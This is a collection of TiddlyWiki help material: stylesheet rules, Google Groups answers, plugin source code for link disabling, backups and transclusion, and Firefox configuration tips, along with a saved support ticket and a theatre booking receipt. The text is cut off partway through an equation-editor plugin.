    background-color:#fcf;
    /* whatever other styling you want.. */
} 

.floatleft{ float:left; }
.floatright{ float:right; }

.moveovermainmenu{margin-left:7px;}
.textleftpad5{text-align:left;padding: 0px 5px 0px 5px;}
.textindent25 {text-indent:25px;}
.smallform{ white-space:nowrap; }

.imgfloatright{display:block;float:right;padding:1em;}
.imgfloatleft{display:block;float:left;padding:1em;}
.imgfloatcenter{display:block;margin-left: auto;margin-right: auto;padding:0.3em;}

.alt { background-color:#abf; }
.fdfbackground {background:#fdf;} 

/*}}}*/
/***
!!!<<gradient horiz #FF8888 #ffffff >>&nbsp;Links>>/%==================================================%/
***/
/*{{{*/

.boldLink a {font-weight:bold;}
.unboldLink a {font-weight:normal;}
.underlineLink  a {font-weight:normal;text-decoration:underline;}

.bigLink a { font-size:10pt;font-weight:bold;}
.whiteLink a { color: #fff;font-weight:normal; } 
.twLink a { color: #090;font-weight:normal; }
.locLink a { color: #c06;font-weight:normal; }
.remLink a { color: #c90;font-weight:normal; } 
.blueLink a {color:#00f;}
.grayLink a {color:#ccc;}
.darkgrayLink a {color:#999;}
.editLink a {color:#ccc;font-size:0.01em}

.wrappingLinks{color: #000; background: #B3FFB3;}
.wrappingLinksAlt{color: #000; background: #C0FFFF;}

/*}}}*/
/***
!!!<<gradient horiz #FF8888 #ffffff >> Specific Tiddler Custom CSSCSS>>/%=================================================%/
***/
/*{{{*/

{{{
For tiddler titles with spaces
#tiddlerNew\000020Tiddler a {color: #f00;}
}}}

#tiddlerSilverHeader a {color:#009;}
#tiddlerSilverHeader .button {color:#009;}
#tiddlerSilverHeader a:hover{
	background: #FFF;
	color: #F00;
}



#tiddlerFolderTree ul,ul {
list-style-type: square;
}

#tiddlerFolderTree ul,ul {
list-style-type: &#x25b2;
}


#tiddlerTimeline {
 height: 350px; 
 width: 100%; 
 position:relative;
 overflow: auto;
 margin:auto;
 }


#tiddlerSystemContents .tabContents {padding 0.5em;margin:auto;}



#tiddlerScience .firstletter{
float:left;
width:0.75em;
margin-right:0.2em;
font-size:400%;
font-family:times,arial;
line-height:70%;
}


#tiddlerEditTemplate .button {color: #000;text-decoration:none;}


#tiddlerTWHelp-SearchResults .viewer {
overflow: auto;
height: 350px; 
 width: 100%; 
 position:relative;
 overflow: auto;
 margin:auto;
margin-left:0em;
}

#tiddlerTranslate .viewer {
overflow: auto;
}

#tiddlerSideBarOptions {
color:#ffc;
background: transparent;
}

#tiddlerNewWelcome .viewer .tabContents {
background: transparent;
border-top: 1px solid #999;
border-right: 0px solid #999;
border-bottom: 0px solid #999;
border-left: 0px solid #999;
}

#tiddlerTWHelpSiteLinks ol { list-style-type: decimal }


#tiddlerBorderlessIframe .viewer {
background:#fff;
}


#mainMenu a:hover{
	background: #FFF;
	color: #F00;
}

#SilverHeader


#tiddlerMargin_Properties.viewer th{
        border: 1px solid #000;
	padding: 0px;
        vertical-align:top;
}

#tiddlerFormattingPageIntro .viewer th, .viewer td, .viewer tr,.viewer caption{
        border: 1px solid #F6F;
	padding: 0px;
        vertical-align:top;
}

#tiddlerTWHelp-SearchResults .viewer table, .viewer td{
border: 1px solid #F6F;
padding-left: 5px;
padding-right: 5px;
vertical-align:top;
td.vertical-align:top;
margin-left: auto;
margin-right: auto;

}

#tiddlerTables .viewer td.even{
background:#ccc;
}

#tiddlerTWHelp-SearchResults .viewer a {
color:#04b;
text-decoration:none;
}

#tiddlerAlpha .viewer tr.oddRow { background-color: #abf;}
#tiddlerAlpha .viewer tr.evenRow { background-color:#eaeaea; } 

#tiddlerNewWelcome .viewer tr.oddRow { background-color: #eaeaea;}
#tiddlerNewWelcome .viewer tr.evenRow { background-color:#fff; } 

#tiddlerImages img {
    border: 5px double #999;
    margin: 4px;

} 

#searchBar {
	float: right;
	font-size: 0.9em;
        padding-right: 1.5em;
        padding-bottom: 0em;
}

#searchBar .button {
	padding-right: 0.5em;
	border: none;
}

.gotoBar {
	float: right;
	font-size: 0.9em;
        padding-right: 1.5em;
        padding-top: 1.0em;
}


/*}}}*/
/***
!!!<<gradient horiz #FF8888 #ffffff >>Footer >>/%==================================================%/
***/
/*{{{*/

#ContentFooter {
  text-align: center;
 clear: both;
 color:#ccc;
 background: transparent;
 padding: 1em 2em;
 font-weight:normal;

}


#ContentFooter a {
 color:#ccc;
}



/*}}}*/
/***
!!!<<gradient horiz #090 #fff>>&nbsp;@@color:#fff;End@@>>/%==================================================%/
***/
/*{{{*/

[[Customize|http://www.winhelponline.com/categories/Windows-Vista/Customize/]]
Working in customer support, I have a lot of links and a lot of searches that I use and do a gobzillion times a day. I tried many variations of bookmarks, shortcuts, and life managers—but none were exactly what i wanted. Since I enjoyed browsing my bookmarks using the sidebar option, I thought up this way to incorporate more functionality in a similar setup.

Source: [[Lifehacker Book Contest Winner: Customize Your Own Firefox Sidebar Web Page|http://lifehacker.com/373236/customize-your-own-firefox-sidebar-web-page]]
The splash screen can be a useful way of providing visual feedback that OpenOffice.org is starting, so the user does not keep trying to start it. However, some people people prefer to remove splash screen, and others prefer to customize the splash screen to match the system theme.

Source: [[Customize or remove the splash screen - OpenOffice.org Ninja|http://www.oooninja.com/2008/03/change-remove-splash-screen.html]]
In your LetterViewTemplate, you can apply CSS classes (i.e.,
class="classname classname ...") as well as applying 'inline
CSS' (i.e. style="...") directly in the HTML syntax.  Something like
this:

{{{
<div class='myClassName' style='font-size:36pt;color:red;' macro='view
fieldname wikified'></div> 
}}}

Source: [[Customized Edit- and ViewTemplates with preformatted text to write a letter or a report.. - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/4ff71d7ec3dacfe5/f365a8f0ca02535e#f365a8f0ca02535e]]
> I want to generate a list that contains one line per todo entry. The
> line should contain the "Some text" part of the TODO, i.e.:
> TODO_WK918.3: Some text
> TODO_WK918.4: Some text 2

The following inline script [1] uses a 'regular expression' to match
and display all occurences of a given text pattern from all tiddlers
with a specified tag
{{{
<script>
        var out=[];
        var pat=/TODO_WK[0-9]{3}(.*)\n/g;
        var tids=store.getTaggedTiddlers('_task');
        for (var i=0; i<tids.length; i++) {
                var match=pat.exec(tids[i].text);
                while (match) {
                        out.push(match[0]);
                        match=pat.exec(tids[i].text);
                }
        }
        return out.join('');
</script> 
}}}
Source: [[Cutting a part of the body - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_frm/thread/8890ff22e3f2ce2d#]]
DOM:window.onunload

Source: [[DOM:window.onunload - MDC|http://developer.mozilla.org/en/docs/DOM:window.onunload]]
[[Dapper: The Data Mapper|http://www.dapper.net/]]
But if this is what you want, you could get the same result with a
forEachTiddler macro in the varsup tiddler, so maybe I'm still
misunderstanding.

{{{<<forEachTiddler where 'tiddler.tags.contains("valid")'
script 'function writeMyList(tiddler, index)
{var result =""; if (index ==0)
{result +="|!Index|!Item|!Price|h\n";}
result += "|pp["+index+"]|"+tiddler.data("pp","")
+"|"+tiddler.data("price","")+"|\n"; return result;}'
write 'writeMyList(tiddler, index)'>>}}}

cmari 

Source: [[Datatiddler with arrays - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/bbded722a9613b72]]
> I've added a new URL paramifier, "#recent:N", to  http://www.TiddlyTools.com/#CoreTweaks
> Nice work Eric!! - I saw you added a #filter paramifier as well. How
> can I combine both to only open the last recent 5 tiddlers tagged by
> 'tagvalue'?

The paramifiers work independently of each other.  While you can
specify something like:
   #recent:5 filter:"[tag[tagvalue]]"
it will not produce the results you want.  Instead, you would get the
5 most recent tiddlers PLUS all tiddlers tagged with the indicated
tagvalue.

Note: the filter syntax currently supports:
   * tiddlernames (adds the specified tiddler to the result)
   * [sort[fieldname]] OR [sort[-fieldname]] (sort the results
ascending/descending)
   * [tag[tagvalue]] (match a specified tag value)
With MatchTagsPlugin installed, the filter syntax also allows:
   * [tag[tag expression]] (match a complex boolean expression of tag
values)

There are some additional core enhancements being developed to add
more abilities to the filter syntax, including the ability to limit
the number of items in the filtered result, using something like:
   * [limit[5]]
In theory, using this new syntax (when available), you could write
   #filter:"[tag[tagvalue]sort[-modified]limit[5]]"
but this is not available yet.... sorry.

-e

Source: [[Default Tiddlers : Open the last modified ones? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/c0045c9ad6c2da41]]
You can also get much the same effect without using any plugins by
starting TW with a link like this:

file:///mytw.html#newJournal:YYYY0MM0DD

Cheers 

Source: [[Default today journal upon start up? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/27be735e73816efb]]
[[History]]
[[SnipsTree]]
[[Index]]





Deferential Geometry  beta

Source: [[Deferential Geometry - beta|http://deferentialgeometry.org/]]
Try this:
   http://www.TiddlyTools.com/#TrashPlugin

When you click on 'delete', instead of asking for confirmation and
then deleting the tiddler, TrashPlugin simply
marks the tiddler trash by tagging it with:
   'trash excludeLists excludeMissing excludeSearch
systemConfigDisable'
and then closes that tiddler.  To empty the trash, you can click on
the {{{<<emptyTrash>>}}} command that you can add to your sidebar, or you
could use some other tool to select and delete everything tagged with
'trash').  To reclaim something from the Trash, open the [[Trash]]
tiddler to see a list of tiddlers tagged with 'trash', click on the
desired tiddler title to open it, and then edit it's tags to remove
the 'trash' tag (as well as the other tags shown above, as desired).

In addition to the above 'trash can' feature, TrashPlugin also handles
TWO keyboard modifiers that can be used when clicking on the 'delete'
toolbar command:

if you hold CTRL while clicking 'delete', it will *bypass the trash*
and use the normal delete handling (with the usual confirmation
messages, if chkConfirmDelete is enabled).  If you hold CTRL+SHIFT,
then it not only bypasses the trash, it also *bypasses the
confirmation message* and immediately deletes the tiddler... QED. 

Source: [[Request: Shift + Delete means Delete and be damned - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/e2fc8d5489814c31]]
/***
|''Name:''|DeprecatedFunctionsPlugin|
|''Description:''|Support for deprecated functions removed from core|
***/
//{{{
if(!version.extensions.DeprecatedFunctionsPlugin) {
version.extensions.DeprecatedFunctionsPlugin = {installed:true};

//--
//-- Deprecated code
//--

// @Deprecated: Use createElementAndWikify and this.termRegExp instead
config.formatterHelpers.charFormatHelper = function(w)
{
	w.subWikify(createTiddlyElement(w.output,this.element),this.terminator);
};

// @Deprecated: Use enclosedTextHelper and this.lookaheadRegExp instead
config.formatterHelpers.monospacedByLineHelper = function(w)
{
	var lookaheadRegExp = new RegExp(this.lookahead,"mg");
	lookaheadRegExp.lastIndex = w.matchStart;
	var lookaheadMatch = lookaheadRegExp.exec(w.source);
	if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
		var text = lookaheadMatch[1];
		if(config.browser.isIE)
			text = text.replace(/\n/g,"\r");
		createTiddlyElement(w.output,"pre",null,null,text);
		w.nextMatch = lookaheadRegExp.lastIndex;
	}
};

// @Deprecated: Use <br> or <br /> instead of <<br>>
config.macros.br = {};
config.macros.br.handler = function(place)
{
	createTiddlyElement(place,"br");
};

// Find an entry in an array. Returns the array index or null
// @Deprecated: Use indexOf instead
Array.prototype.find = function(item)
{
	var i = this.indexOf(item);
	return i == -1 ? null : i;
};

// Load a tiddler from an HTML DIV. The caller should make sure to later call Tiddler.changed()
// @Deprecated: Use store.getLoader().internalizeTiddler instead
Tiddler.prototype.loadFromDiv = function(divRef,title)
{
	return store.getLoader().internalizeTiddler(store,this,title,divRef);
};

// Format the text for storage in an HTML DIV
// @Deprecated Use store.getSaver().externalizeTiddler instead.
Tiddler.prototype.saveToDiv = function()
{
	return store.getSaver().externalizeTiddler(store,this);
};

// @Deprecated: Use store.allTiddlersAsHtml() instead
function allTiddlersAsHtml()
{
	return store.allTiddlersAsHtml();
}

// @Deprecated: Use refreshPageTemplate instead
function applyPageTemplate(title)
{
	refreshPageTemplate(title);
}

// @Deprecated: Use story.displayTiddlers instead
function displayTiddlers(srcElement,titles,template,unused1,unused2,animate,unused3)
{
	story.displayTiddlers(srcElement,titles,template,animate);
}

// @Deprecated: Use story.displayTiddler instead
function displayTiddler(srcElement,title,template,unused1,unused2,animate,unused3)
{
	story.displayTiddler(srcElement,title,template,animate);
}

// @Deprecated: Use functions on right hand side directly instead
var createTiddlerPopup = Popup.create;
var scrollToTiddlerPopup = Popup.show;
var hideTiddlerPopup = Popup.remove;

// @Deprecated: Use right hand side directly instead
var regexpBackSlashEn = new RegExp("\\\\n","mg");
var regexpBackSlash = new RegExp("\\\\","mg");
var regexpBackSlashEss = new RegExp("\\\\s","mg");
var regexpNewLine = new RegExp("\n","mg");
var regexpCarriageReturn = new RegExp("\r","mg");

}
//}}}
> I will be distributing my tiddlywiki (probably via email) and expect
> that many people will have an 'offline' copy. I also have a version
> that is served up via the web and that allows editing (via
> UploadTiddler). I would like to add a link that will only display in
> the 'offline' version that basically points people to the editable
> wiki (but I don't want it to show on the online version). Any
> suggestion on how to easily accomplish this?

Using
   http://www.TiddlyTools.com/#InlineJavascriptPlugin
you can write:
{{{
{{span{[[text|URL]]<script>
  if (document.location.protocol!='file:')
      place.style.display='none';
</script>}}}
}}}
Basically, this contains the external link within a CSS class wrapper
(any classname will do), along with a little inline script that hides
the container ('place') if the document protocol isn't "file:". 

Source: [[Detect when localhost vs http - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e7dc9aae17d97ff3#]]
{{borderless{
|[[Open in a new window|http://groups.google.com/group/TiddlyWikiDev/]]&nbsp;&raquo;|
----
<html><div align="center"><iframe  src ="http://groups.google.com/group/TiddlyWikiDev/" width="100%" align="center" height="600" scrolling="auto" frameborder="0" allowtransparency style="border:none;"></iframe></div></html>}}}
{{borderlessL{
@@line-height:0.5em;<<tiddler ShowLocalDirectoryScript>>@@
}}}
If you love 'search as you type' action then read no further.

Personally I despise it and Firefox 3's 'awesome bar', the ostentatious, tastelessly ornamented URL Location Bar drop-down, bouncing around like a demented scrabble game gone wrong, trying to guess where you want to go; can be silenced.

   1.  Open your browser and type "about:config" without quotes .
   2. You have to continue by agreeing to the warning message .
   3. Just copy ""browser.urlbar.maxRichResults" without quotes  and paste it in the Filter and Press enter.
   4. Now  double click  "browser.urlbar.maxRichResults"and set its integer value form '12' to '0'. "0" prevents any  dropdowns
   5. Delete all cache and restart Firefox.
Source:http://computersservicing.blogspot.com/2008/06/disabling-firefox3.html
Obsolete
--1: Go to about:config find "browser.urlbar.matchOnlyTyped" and set to "true"
2: Restart 
3: Then go to Tools > Clear private data...--

Now you can type in the URL of your choice in peace and quiet.  

A side effect is that another unsuspecting user won't have labor through all the boring sites you've been visiting.

Morris Gray
http://twhelp.tiddlyspot.com
A TiddlyWiki help file for beginners
/***
|Name|DisableWikiLinksPlugin|
|Source|http://www.TiddlyTools.com/#DisableWikiLinksPlugin|
|Version|1.5.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|Tiddler.prototype.autoLinkWikiWords, 'wikiLink' formatter|
|Options|##Configuration|
|Description|selectively disable TiddlyWiki's automatic ~WikiWord linking behavior|
This plugin allows you to disable TiddlyWiki's automatic ~WikiWord linking behavior, so that WikiWords embedded in tiddler content will be rendered as regular text, instead of being automatically converted to tiddler links.  To create a tiddler link when automatic linking is disabled, you must enclose the link text within {{{[[...]]}}}.
!!!!!Usage
<<<
You can block automatic WikiWord linking behavior for any specific tiddler by ''tagging it with<<tag excludeWikiWords>>'' (see configuration below) or, check a plugin option to disable automatic WikiWord links to non-existing tiddler titles, while still linking WikiWords that correspond to existing tiddlers titles or shadow tiddler titles.  You can also block specific selected WikiWords from being automatically linked by listing them in [[DisableWikiLinksList]] (see configuration below), separated by whitespace.  This tiddler is optional and, when present, causes the listed words to always be excluded, even if automatic linking of other WikiWords is being permitted.  

Note: WikiWords contained in default ''shadow'' tiddlers will be automatically linked unless you select an additional checkbox option lets you disable these automatic links as well, though this is not recommended, since it can make it more difficult to access some TiddlyWiki standard default content (such as AdvancedOptions or SideBarTabs)
<<<
!!!!!Configuration
<<<
<<option chkDisableWikiLinks>> Disable ALL automatic WikiWord tiddler links
<<option chkAllowLinksFromShadowTiddlers>> ... except for WikiWords //contained in// shadow tiddlers
<<option chkDisableNonExistingWikiLinks>> Disable automatic WikiWord links for non-existing tiddlers
Disable automatic WikiWord links for words listed in: <<option txtDisableWikiLinksList>>
Disable automatic WikiWord links for tiddlers tagged with: <<option txtDisableWikiLinksTag>>
<<<
!!!!!Revisions
<<<
2006.06.09 [1.5.0] added configurable txtDisableWikiLinksTag (default value: "excludeWikiWords") to allows selective disabling of automatic WikiWord links for any tiddler tagged with that value.
2006.12.31 [1.4.0] in formatter, test for chkDisableNonExistingWikiLinks
2006.12.09 [1.3.0] in formatter, test for excluded wiki words specified in DisableWikiLinksList
2006.12.09 [1.2.2] fix logic in autoLinkWikiWords() (was allowing links TO shadow tiddlers, even when chkDisableWikiLinks is TRUE).  
2006.12.09 [1.2.1] revised logic for handling links in shadow content
2006.12.08 [1.2.0] added hijack of Tiddler.prototype.autoLinkWikiWords so regular (non-bracketed) WikiWords won't be added to the missing list
2006.05.24 [1.1.0] added option to NOT bypass automatic wikiword links when displaying default shadow content (default is to auto-link shadow content)
2006.02.05 [1.0.1] wrapped wikifier hijack in init function to eliminate globals and avoid FireFox 1.5.0.1 crash bug when referencing globals
2005.12.09 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.disableWikiLinks= {major: 1, minor: 5, revision: 0, date: new Date(2007,6,9)};

if (config.options.chkDisableNonExistingWikiLinks==undefined) config.options.chkDisableNonExistingWikiLinks= false;
if (config.options.chkDisableWikiLinks==undefined) config.options.chkDisableWikiLinks=false;
if (config.options.txtDisableWikiLinksList==undefined) config.options.txtDisableWikiLinksList="DisableWikiLinksList";
if (config.options.chkAllowLinksFromShadowTiddlers==undefined) config.options.chkAllowLinksFromShadowTiddlers=true;
if (config.options.txtDisableWikiLinksTag==undefined) config.options.txtDisableWikiLinksTag="excludeWikiWords";

// find the formatter for wikiLink and replace handler with 'pass-thru' rendering
initDisableWikiLinksFormatter();
function initDisableWikiLinksFormatter() {
	for (var i=0; i<config.formatters.length && config.formatters[i].name!="wikiLink"; i++);
	config.formatters[i].coreHandler=config.formatters[i].handler;
	config.formatters[i].handler=function(w) {
		// supress any leading "~" (if present)
		var skip=(w.matchText.substr(0,1)==config.textPrimitives.unWikiLink)?1:0;
		var title=w.matchText.substr(skip);
		var exists=store.tiddlerExists(title);
		var inShadow=w.tiddler && store.isShadowTiddler(w.tiddler.title);

		// check for excluded Tiddler
		if (w.tiddler && w.tiddler.isTagged(config.options.txtDisableWikiLinksTag))
			{ w.outputText(w.output,w.matchStart+skip,w.nextMatch); return; }
		
		// check for specific excluded wiki words
		var t=store.getTiddlerText(config.options.txtDisableWikiLinksList)
		if (t && t.length && t.indexOf(w.matchText)!=-1)
			{ w.outputText(w.output,w.matchStart+skip,w.nextMatch); return; }

		// if not disabling links from shadows (default setting)
		if (config.options.chkAllowLinksFromShadowTiddlers && inShadow)
			return this.coreHandler(w);

		// check for non-existing non-shadow tiddler
		if (config.options.chkDisableNonExistingWikiLinks && !exists)
			{ w.outputText(w.output,w.matchStart+skip,w.nextMatch); return; }

		// if not enabled, just do standard WikiWord link formatting
		if (!config.options.chkDisableWikiLinks)
			return this.coreHandler(w);

		// just return text without linking
		w.outputText(w.output,w.matchStart+skip,w.nextMatch)
	}
}

Tiddler.prototype.coreAutoLinkWikiWords = Tiddler.prototype.autoLinkWikiWords;
Tiddler.prototype.autoLinkWikiWords = function()
{
	// DEBUG alert("processing: "+this.title);
	// if all automatic links are not disabled, just return results from core function
	if (!config.options.chkDisableWikiLinks)
		return this.coreAutoLinkWikiWords.apply(this,arguments);
	return false;
}
//}}}
I plan to distribute a TW with autorunning Chromium (open source
Googles' Chrome) on usb key.
I works like a charm, but I have a java plugin alert at launch that I
would like to disable, by disabling the call to java applet  code into
my TW.
The whole document is read only so I don't need to have it editable.

I need some help to achieve this with clean code. 

Try this simple plugin:
---------------
//{{{
window.javaSaveFile = function() { return false; };
//}}}
--------------- 

Source: [[Disabling Java plugin alert with Chromium - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/5a9d84031b42514e]]
{{borderless{
|[[Open in a new window|http://groups.google.com/group/TiddlyWiki/topics]]&nbsp;&raquo;|
----
<html><div align="center"><iframe  src ="http://groups.google.com/group/TiddlyWiki/topics" width="100%" align="center" height="600" scrolling="auto" frameborder="0" allowtransparency style="border:none;"></iframe></div></html>}}}
I added the following to the "ViewTemplate" tiddler:
{{{
<div class='references' refresh='content' id='ShowReferences'
force='false' tiddler='ShowReferences'></div>

After:
<div class='viewer' macro='view text wikified'></div>
}}}
Clear enough? 

Source: [[Displaying references below each tiddler - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/512cc670d3c21e61]]

> I added the following to the "ViewTemplate" tiddler:

Instead of this:
{{{
<div class='references' refresh='content' id='ShowReferences'
force='false' tiddler='ShowReferences'></div>

try writing this:

<div class='references' macro='tiddler ShowReferences'></div> 
}}}
Source: [[Displaying references below each tiddler - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/512cc670d3c21e61]]
/***
|''Name:''|DoBackupMacro|
|''Version:''|2.0 (9-Apr-2006)|
|''Author:''|[[Jack]]|
|''Type:''|Macro|
|Description:|Creates a button which allows you to backup your TiddlyWiki on demand.|
!Usage
Add the following command to your SideBarOptions tiddler:
{{{<<doBackup>>}}}
!Revision History
* Original by [[Jack]] 9-Apr-2006
!To Do
* List non-explicit links (e.g. from tagging macro)

!Code
***/
//{{{
version.extensions.doBackup= {major: 2, minor: 0, revision: 0, date: new Date("Apr 9, 2006")};
config.macros.doBackup={label: "backup", prompt: "Backup this TiddlyWiki"}
config.macros.doBackup.handler = function(place)
{
 if(!readOnly)
 createTiddlyButton(place,this.label,this.prompt,function ()
{doBackup(); return false;},null,null,this.accessKey);
}

doBackup = function() {
 var optSaveBackups = config.options.chkSaveBackups
 config.options.chkSaveBackups = true
 saveChanges()
 config.options.chkSaveBackups = optSaveBackups
}

//}}}
Search results for: jquery

Source: [[Dynamic Drive- Search Results|http://www.dynamicdrive.com/cgi-bin/search/search.cgi?zoom_query=jquery&zoom_per_page=10&zoom_and=1&zoom_sort=0]]
[[Dynamic Drive: CSS Left Frame Layout|http://www.dynamicdrive.com/style/layouts/item/css-left-frame-layout/]]
<script label="edit a tiddler">
   var title=prompt("Enter the title of a tiddler to edit (case sensitive)");
   while (title && title.length && !store.tiddlerExists(title)) {
      displayMessage("The tiddler '%0' doesn't exist".format([title]));
      var title=prompt("Please enter a tiddler title",title);
   }
   if (!title||!title.length) return; /* cancelled by user */
   story.displayTiddler(null,title,2);
</script> 
<!--{{{-->
<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler deleteTiddler'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div style="padding-left:1em;" macro='tiddler QuickEditToolbar'></div>
<div class="editLabel">.</div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser'></span></div>
<div macro='annotations'></div>
<span macro='toolbar format slice'></span> 
<div class='editor' macro='edit text'></div>

<!--}}}-->
In addition to the changes that can be made in the Options window, Firefox can further be customized by editing certain configuration files. This page describes how to access and change these files.

Source: [[Editing configuration files|http://support.mozilla.com/en-US/kb/Editing+configuration+files]]
> to limit editing permission to a certain group of users?

Try this:
   http://www.TiddlyTools.com/#TiddlerPasswordPlugin
   http://www.TiddlyTools.com/#TiddlerPasswordPluginInfo
   http://www.TiddlyTools.com/#TiddlerPasswordPluginConfig
   http://www.TiddlyTools.com/#TaggedTemplateTweak
   http://www.TiddlyTools.com/#LockedEditTemplate

Usage:
   Install all the tiddlers listed above, then save-and-reload
   Edit TiddlerPasswordPluginConfig to change password
(default="admin")
   Edit a tiddler you want to protect and add 'locked' as a tag

That's it... the next time you attempt to edit that tiddler, here's
what happens:

TaggedTemplateTweak matches the 'locked' tag on the tiddler
and uses LockedEditTemplate instead of the standard EditTemplate so
that the {{{<<getTiddlerPassword>>}}} macro will be automatically invoked to
prompt for the password.  If the password you enter is correct, the
tiddler is displayed for editing.  If incorrect, you are asked to
retry until you either enter the correct password or cancel the prompt
dialog (in which case, the tiddler is automatically closed so that you
can't edit it). 

Source: [[Editing permissions - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/938d130dc719a7b]]
<script>
/*<![CDATA[*/

/***********************************************
* Encrypt Email script- Please keep notice intact
* Tool URL: http://www.dynamicdrive.com/emailriddler/
* **********************************************/
<!-- Encrypted version of: tiddlywikihelp [at] *****.***.** //-->

var emailriddlerarray=[116,105,100,100,108,121,119,105,107,105,104,101,108,112,64,121,97,104,111,111,46,99,111,109,46,97,117]
var encryptedemail_id69='' //variable to contain encrypted email 
for (var i=0; i<emailriddlerarray.length; i++)
 encryptedemail_id69+=String.fromCharCode(emailriddlerarray[i])

document.write('<a href="mailto:'+encryptedemail_id69+'?subject=From TW Help Page">Email Us</a>')

/*]]>*/
</script>
search for a word and a specific tag at the same time

Yes; try the following:<forEachTiddler where 'tiddler.tags.contains("foo") && tiddler.text.contains("bar")' >

This should give you all tiddlers with the tag "foo" and the term "bar"
in the tiddler contents.
Source: [[Embed a search into a tiddler - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/183f64f82df1f33e]]
<<tiddler EmbedTiddlers with: =css-ts sortby>>
<<toolbar editTiddler>>EmbedTiddlers to see contents - contains script.

/%
|Name|EmbedTiddlers|
|Source|http://www.TiddlyTools.com/#EmbedTiddlers|
|Version|1.2.1|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|script|
|Requires|InlineJavascriptPlugin|
|Overrides||
|Description|transclude a list of tiddlers in a specific order|

usage:
   <<tiddler EmbedTiddlers with: "TiddlerName [[TiddlerName with spaces]] TiddlerName ...">>
or
   <<tiddler EmbedTiddlers with: @TiddlerName>>
or
   <<tiddler EmbedTiddlers with: =tagValue sortby>>

where
	@TiddlerName
		specifies a //separate// tiddler containing the space-separated,
		bracketed list of tiddlers to transclude (e.g., DefaultTiddlers)
	=tagValue
		embeds all tiddlers tagged with the indicated value
	sortby (optional - default is sort by tiddler title)
		sort tagged tiddlers by any tiddler field.  Use "+" or "-" prefix
		to indicate sort direction (ascending/descending), e.g., "-modified"
		sorts by tiddler modification date, most recent first

Note: if MatchTagsPlugin is installed, you can use FULL BOOLEAN LOGIC EXPRESSIONS
in place of the "tagValue" (following the leading "=").  However, because the boolean
expression will contain spaces, it MUST be enclosed in [[...]], like this:

<<tiddler EmbedTiddlers with: [[=settings AND NOT systemConfig]]>>

%/<script>
	var list='$1';
	var sortby='title'; if ('$2'!='$'+'2') sortby='$2';
	var tids=[];
	if (list.substr(0,1)=='=') {
		var fn=store.getMatchingTiddlers||store.getTaggedTiddlers;
		var tagged=store.sortTiddlers(fn(list.substr(1)),sortby);
		for (var t=0; t<tagged.length; t++) tids.push(tagged[t].title);
	} else {
		if (list.substr(0,1)=='@') list=store.getTiddlerText(list.substr(1),'');
		var tids=list.readBracketedList();
	}
	var out='';
	for (var i=0; i<tids.length; i++) out+='<<tiddler [['+tids[i]+']]>>';
	return out;
</script>
I downloaded Spyhunter from you on the strength that you advertised that it would find and remove the Virtumonde trojan.  Although Spybot was setting there showing it was on my computer Spyhunter did not indicate it was there.  What to I do now?

By the way - on this form it states "If you are not sure what is the problem type, Please select "Other"

There is no "other" available to select.

msgray

Submission has been successfully added to our Database!

Your Ticket number is:290240


Source: [[Enigma Software Group, Inc.|http://www.enigmasoftware.com/customer_ticket/add_new_ticket_2.php]]
Thank you for booking with us. Your transaction is successful.

Your Booking Reference number is 1698203

Please click here to print this page as confirmation of your booking.
It is your receipt of purchase.

Your Details:

Your order:

Details	Quantity	Price
Transaction Fee, Transaction fee	1	4.00
QED (16-May-2008 20:15)
ENSEMBLE G22-G21	2	124.00

The total cost of your order is $128.00

Ensemble Theatre Box Office, 78 McDougall St, Kirribilli NSW 2061
Seymour Centre Box Office, Cnr City Rd & Cleveland St, Chippendale NSW 2007

Tickets will be collected from the Box Office. Tickets for "Death of a Salesman" at Seymour Centre will be posted except where concession cards need to be sighted.

Source: [[Ensemble Theatre Internet Box Office|http://www.ensemble.com.au/]]
/***
|Name|EquationEditorPlugin|
|Source|http://twhelp.tiddlywiki.com/#EquationEditorPlugin|
|Version|1.0.0|
|Author|Morris Gray - twhelp.tiddlywiki.com & Will Bateman - CodeCogs.com|
|License|BSD open source license.|
|~CoreVersion|2.2|
|Type|script|
|Requires|See below|
|Overrides|config.macros.edit.handler and config.views.editor.defaultText|
|Description|definition for toolbar button for equation editing|

''Requirements:''
Put the following in MarkupPreHead
{{{
<script type="text/javascript" src="http://latex.codecogs.com/editor.js"></script>
}}}

Usage:
QuickEditToolbar: <<tiddler QuickEdit_equation>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_equation'></span>

QuickEdit_equationButton

!Code
***/

config.views.editor.defaultText = "";

config.macros.edit.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
	var field = params[0];
	var rows = params[1] || 0;
	var defVal = params[2] || "";
	if((tiddler instanceof Tiddler) && field) {
		story.setDirty(tiddler.title,true);
		var e,v;
